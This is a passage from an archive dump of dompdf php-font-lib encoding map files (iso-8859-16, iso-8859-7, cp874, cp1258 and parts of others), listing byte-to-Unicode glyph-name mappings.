!AC U+255B SF280000
!AD U+255C SF270000
!AE U+255D SF260000
!AF U+255E SF360000
!B0 U+255F SF370000
!B1 U+2560 SF420000
!B2 U+2561 SF190000
!B3 U+0401 afii10023
!B4 U+2562 SF200000
!B5 U+2563 SF230000
!B6 U+2564 SF470000
!B7 U+2565 SF480000
!B8 U+2566 SF410000
!B9 U+2567 SF450000
!BA U+2568 SF460000
!BB U+2569 SF400000
!BC U+256A SF540000
!BD U+256B SF530000
!BE U+256C SF440000
!BF U+00A9 copyright
!C0 U+044E afii10096
!C1 U+0430 afii10065
!C2 U+0431 afii10066
!C3 U+0446 afii10088
!C4 U+0434 afii10069
!C5 U+0435 afii10070
!C6 U+0444 afii10086
!C7 U+0433 afii10068
!C8 U+0445 afii10087
!C9 U+0438 afii10074
!CA U+0439 afii10075
!CB U+043A afii10076
!CC U+043B afii10077
!CD U+043C afii10078
!CE U+043D afii10079
!CF U+043E afii10080
!D0 U+043F afii10081
!D1 U+044F afii10097
!D2 U+0440 afii10082
!D3 U+0441 afii10083
!D4 U+0442 afii10084
!D5 U+0443 afii10085
!D6 U+0436 afii10072
!D7 U+0432 afii10067
!D8 U+044C afii10094
!D9 U+044B afii10093
!DA U+0437 afii10073
!DB U+0448 afii10090
!DC U+044D afii10095
!DD U+0449 afii10091
!DE U+0447 afii10089
!DF U+044A afii10092
!E0 U+042E afii10048
!E1 U+0410 afii10017
!E2 U+0411 afii10018
!E3 U+0426 afii10040
!E4 U+0414 afii10021
!E5 U+0415 afii10022
!E6 U+0424 afii10038
!E7 U+0413 afii10020
!E8 U+0425 afii10039
!E9 U+0418 afii10026
!EA U+0419 afii10027
!EB U+041A afii10028
!EC U+041B afii10029
!ED U+041C afii10030
!EE U+041D afii10031
!EF U+041E afii10032
!F0 U+041F afii10033
!F1 U+042F afii10049
!F2 U+0420 afii10034
!F3 U+0421 afii10035
!F4 U+0422 afii10036
!F5 U+0423 afii10037
!F6 U+0416 afii10024
!F7 U+0412 afii10019
!F8 U+042C afii10046
!F9 U+042B afii10045
!FA U+0417 afii10025
!FB U+0428 afii10042
!FC U+042D afii10047
!FD U+0429 afii10043
!FE U+0427 afii10041
!FF U+042A afii10044
vendor/dompdf/php-font-lib/maps/iso-8859-16.map000066600000011421151150442750014710 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+0104 Aogonek
!A2 U+0105 aogonek
!A3 U+0141 Lslash
!A4 U+20AC Euro
!A5 U+201E quotedblbase
!A6 U+0160 Scaron
!A7 U+00A7 section
!A8 U+0161 scaron
!A9 U+00A9 copyright
!AA U+0218 Scommaaccent
!AB U+00AB guillemotleft
!AC U+0179 Zacute
!AD U+00AD hyphen
!AE U+017A zacute
!AF U+017B Zdotaccent
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+010C Ccaron
!B3 U+0142 lslash
!B4 U+017D Zcaron
!B5 U+201D quotedblright
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+017E zcaron
!B9 U+010D ccaron
!BA U+0219 scommaaccent
!BB U+00BB guillemotright
!BC U+0152 OE
!BD U+0153 oe
!BE U+0178 Ydieresis
!BF U+017C zdotaccent
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+0102 Abreve
!C4 U+00C4 Adieresis
!C5 U+0106 Cacute
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+0110 Dcroat
!D1 U+0143 Nacute
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+0150 Ohungarumlaut
!D6 U+00D6 Odieresis
!D7 U+015A Sacute
!D8 U+0170 Uhungarumlaut
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+0118 Eogonek
!DE U+021A Tcommaaccent
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+0103 abreve
!E4 U+00E4 adieresis
!E5 U+0107 cacute
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+0111 dcroat
!F1 U+0144 nacute
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+0151 ohungarumlaut
!F6 U+00F6 odieresis
!F7 U+015B sacute
!F8 U+0171 uhungarumlaut
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+0119 eogonek
!FE U+021B tcommaaccent
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/iso-8859-7.map000066600000011110151150442750014623 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+2018 quoteleft
!A2 U+2019 quoteright
!A3 U+00A3 sterling
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AF U+2015 afii00208
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+0384 tonos
!B5 U+0385 dieresistonos
!B6 U+0386 Alphatonos
!B7 U+00B7 periodcentered
!B8 U+0388 Epsilontonos
!B9 U+0389 Etatonos
!BA U+038A Iotatonos
!BB U+00BB guillemotright
!BC U+038C Omicrontonos
!BD U+00BD onehalf
!BE U+038E Upsilontonos
!BF U+038F Omegatonos
!C0 U+0390 iotadieresistonos
!C1 U+0391 Alpha
!C2 U+0392 Beta
!C3 U+0393 Gamma
!C4 U+0394 Delta
!C5 U+0395 Epsilon
!C6 U+0396 Zeta
!C7 U+0397 Eta
!C8 U+0398 Theta
!C9 U+0399 Iota
!CA U+039A Kappa
!CB U+039B Lambda
!CC U+039C Mu
!CD U+039D Nu
!CE U+039E Xi
!CF U+039F Omicron
!D0 U+03A0 Pi
!D1 U+03A1 Rho
!D3 U+03A3 Sigma
!D4 U+03A4 Tau
!D5 U+03A5 Upsilon
!D6 U+03A6 Phi
!D7 U+03A7 Chi
!D8 U+03A8 Psi
!D9 U+03A9 Omega
!DA U+03AA Iotadieresis
!DB U+03AB Upsilondieresis
!DC U+03AC alphatonos
!DD U+03AD epsilontonos
!DE U+03AE etatonos
!DF U+03AF iotatonos
!E0 U+03B0 upsilondieresistonos
!E1 U+03B1 alpha
!E2 U+03B2 beta
!E3 U+03B3 gamma
!E4 U+03B4 delta
!E5 U+03B5 epsilon
!E6 U+03B6 zeta
!E7 U+03B7 eta
!E8 U+03B8 theta
!E9 U+03B9 iota
!EA U+03BA kappa
!EB U+03BB lambda
!EC U+03BC mu
!ED U+03BD nu
!EE U+03BE xi
!EF U+03BF omicron
!F0 U+03C0 pi
!F1 U+03C1 rho
!F2 U+03C2 sigma1
!F3 U+03C3 sigma
!F4 U+03C4 tau
!F5 U+03C5 upsilon
!F6 U+03C6 phi
!F7 U+03C7 chi
!F8 U+03C8 psi
!F9 U+03C9 omega
!FA U+03CA iotadieresis
!FB U+03CB upsilondieresis
!FC U+03CC omicrontonos
!FD U+03CD upsilontonos
!FE U+03CE omegatonos
vendor/dompdf/php-font-lib/maps/cp874.map000066600000010610151150442750014123 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!85 U+2026 ellipsis
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!A0 U+00A0 space
!A1 U+0E01 kokaithai
!A2 U+0E02 khokhaithai
!A3 U+0E03 khokhuatthai
!A4 U+0E04 khokhwaithai
!A5 U+0E05 khokhonthai
!A6 U+0E06 khorakhangthai
!A7 U+0E07 ngonguthai
!A8 U+0E08 chochanthai
!A9 U+0E09 chochingthai
!AA U+0E0A chochangthai
!AB U+0E0B sosothai
!AC U+0E0C chochoethai
!AD U+0E0D yoyingthai
!AE U+0E0E dochadathai
!AF U+0E0F topatakthai
!B0 U+0E10 thothanthai
!B1 U+0E11 thonangmonthothai
!B2 U+0E12 thophuthaothai
!B3 U+0E13 nonenthai
!B4 U+0E14 dodekthai
!B5 U+0E15 totaothai
!B6 U+0E16 thothungthai
!B7 U+0E17 thothahanthai
!B8 U+0E18 thothongthai
!B9 U+0E19 nonuthai
!BA U+0E1A bobaimaithai
!BB U+0E1B poplathai
!BC U+0E1C phophungthai
!BD U+0E1D fofathai
!BE U+0E1E phophanthai
!BF U+0E1F fofanthai
!C0 U+0E20 phosamphaothai
!C1 U+0E21 momathai
!C2 U+0E22 yoyakthai
!C3 U+0E23 roruathai
!C4 U+0E24 ruthai
!C5 U+0E25 lolingthai
!C6 U+0E26 luthai
!C7 U+0E27 wowaenthai
!C8 U+0E28 sosalathai
!C9 U+0E29 sorusithai
!CA U+0E2A sosuathai
!CB U+0E2B hohipthai
!CC U+0E2C lochulathai
!CD U+0E2D oangthai
!CE U+0E2E honokhukthai
!CF U+0E2F paiyannoithai
!D0 U+0E30 saraathai
!D1 U+0E31 maihanakatthai
!D2 U+0E32 saraaathai
!D3 U+0E33 saraamthai
!D4 U+0E34 saraithai
!D5 U+0E35 saraiithai
!D6 U+0E36 sarauethai
!D7 U+0E37 saraueethai
!D8 U+0E38 sarauthai
!D9 U+0E39 sarauuthai
!DA U+0E3A phinthuthai
!DF U+0E3F bahtthai
!E0 U+0E40 saraethai
!E1 U+0E41 saraaethai
!E2 U+0E42 saraothai
!E3 U+0E43 saraaimaimuanthai
!E4 U+0E44 saraaimaimalaithai
!E5 U+0E45 lakkhangyaothai
!E6 U+0E46 maiyamokthai
!E7 U+0E47 maitaikhuthai
!E8 U+0E48 maiekthai
!E9 U+0E49 maithothai
!EA U+0E4A maitrithai
!EB U+0E4B maichattawathai
!EC U+0E4C thanthakhatthai
!ED U+0E4D nikhahitthai
!EE U+0E4E yamakkanthai
!EF U+0E4F fongmanthai
!F0 U+0E50 zerothai
!F1 U+0E51 onethai
!F2 U+0E52 twothai
!F3 U+0E53 threethai
!F4 U+0E54 fourthai
!F5 U+0E55 fivethai
!F6 U+0E56 sixthai
!F7 U+0E57 seventhai
!F8 U+0E58 eightthai
!F9 U+0E59 ninethai
!FA U+0E5A angkhankhuthai
!FB U+0E5B khomutthai
vendor/dompdf/php-font-lib/maps/cp1258.map000066600000011204151150442750014200 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!83 U+0192 florin
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+02C6 circumflex
!89 U+2030 perthousand
!8B U+2039 guilsinglleft
!8C U+0152 OE
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!98 U+02DC tilde
!99 U+2122 trademark
!9B U+203A guilsinglright
!9C U+0153 oe
!9F U+0178 Ydieresis
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+0102 Abreve
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+0300 gravecomb
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+0110 Dcroat
!D1 U+00D1 Ntilde
!D2 U+0309 hookabovecomb
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+01A0 Ohorn
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+01AF Uhorn
!DE U+0303 tildecomb
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+0103 abreve
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+0301 acutecomb
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+0111 dcroat
!F1 U+00F1 ntilde
!F2 U+0323 dotbelowcomb
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+01A1 ohorn
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+01B0 uhorn
!FE U+20AB dong
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/iso-8859-1.map000066600000011375151150442750014632 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
